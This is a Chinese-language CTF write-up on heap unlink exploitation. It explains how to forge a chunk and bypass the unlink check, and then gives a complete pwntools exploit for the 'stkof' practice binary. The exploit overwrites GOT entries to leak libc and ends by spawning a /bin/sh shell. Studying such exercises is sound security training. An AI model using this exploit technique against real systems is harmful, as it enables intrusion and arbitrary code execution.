这道题目是wiki上讲unlink漏洞的例题,buu上同样也有
所以先讲unlink,我觉得怎么理解呢?带例子,光看有点难理解,然后结合源码去绕过那个判断语句
unlink的条件呢
1.首先要存在一个控制堆块去记录heap段
2.存在堆溢出,off by one这些漏洞这类
3.uaf也同样可以导致
怎么达到目的
伪造的chunk fd = & -0x18 bk = &-0x10
这个保护,可以改got表,没有pie
这是个没有显示的菜单题目
对于堆的题目,我感觉边看代码边调试是最好的
creat(0x50)
creat(0x30)
creat(0x80)
creat(0x30)
可以看到,heap上有几个堆块
p_addr = 0x602150
fd = p_addr-0x18
bk = p_addr-0x10
payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload =payload.ljust(0x30,b'a')
payload+=p64(0x30)+p64(0x90)
edit(2,payload)
heap 上的效果
控制堆块的数据
然后我们free3就能达到unlink的效果
效果拔群
payload = b'a'*(0x10)+p64(free_got)+p64(puts_got)
edit(2,payload)
#pause()
payload = p64(puts_plt)
edit(1,payload)
#pause()
free(2)
这里是将控制堆块改为我们想要用的函数
所以调用free就是调用puts
然后把puts的地址打印出来,最后呢用libcsearcher找到libc
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
context.arch = 'amd64'
io =process('./stkof')
#io = remote("node4.buuoj.cn",25380)
elf = ELF('./stkof')
puts_got = elf.got['puts']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
gdb.attach(io)
def creat(size):
io.sendline('1')
io.sendline(str(size))
io.recvuntil('OK\n')
def free(index):
io.sendline('3')
io.sendline(str(index))
def edit(id,value):
io.sendline('2')
io.sendline(str(id))
io.sendline(str(len(value)))
io.send(value)
io.recvuntil('OK\n')
creat(0x50)
creat(0x30)
creat(0x80)
creat(0x30)
#pause()
p_addr = 0x602150
fd = p_addr-0x18
bk = p_addr-0x10
payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload =payload.ljust(0x30,b'a')
payload+=p64(0x30)+p64(0x90)
edit(2,payload)
#pause()
free(3)
#pause()
payload = b'a'*(0x10)+p64(free_got)+p64(puts_got)
edit(2,payload)
#pause()
payload = p64(puts_plt)
edit(1,payload)
pause()
free(2)
io.recvuntil('OK\n')
puts_addr = u64(io.recvuntil('\nOK\n',drop=True).ljust(8,'\x00'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
#pause()
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
edit(1,p64(system_addr))
edit(4,'/bin/sh\x00')
free(4)
io.interactive()
最后研究了一下sendline和send,看debug吧sendline会多一个空格,在这里就会导致off by null 的问题,程序也没有按着我们想的来,最后接收会出现问题
红框就是puts的地址,就没有按着我们想的来,所以接收出问题最好的方式就是debug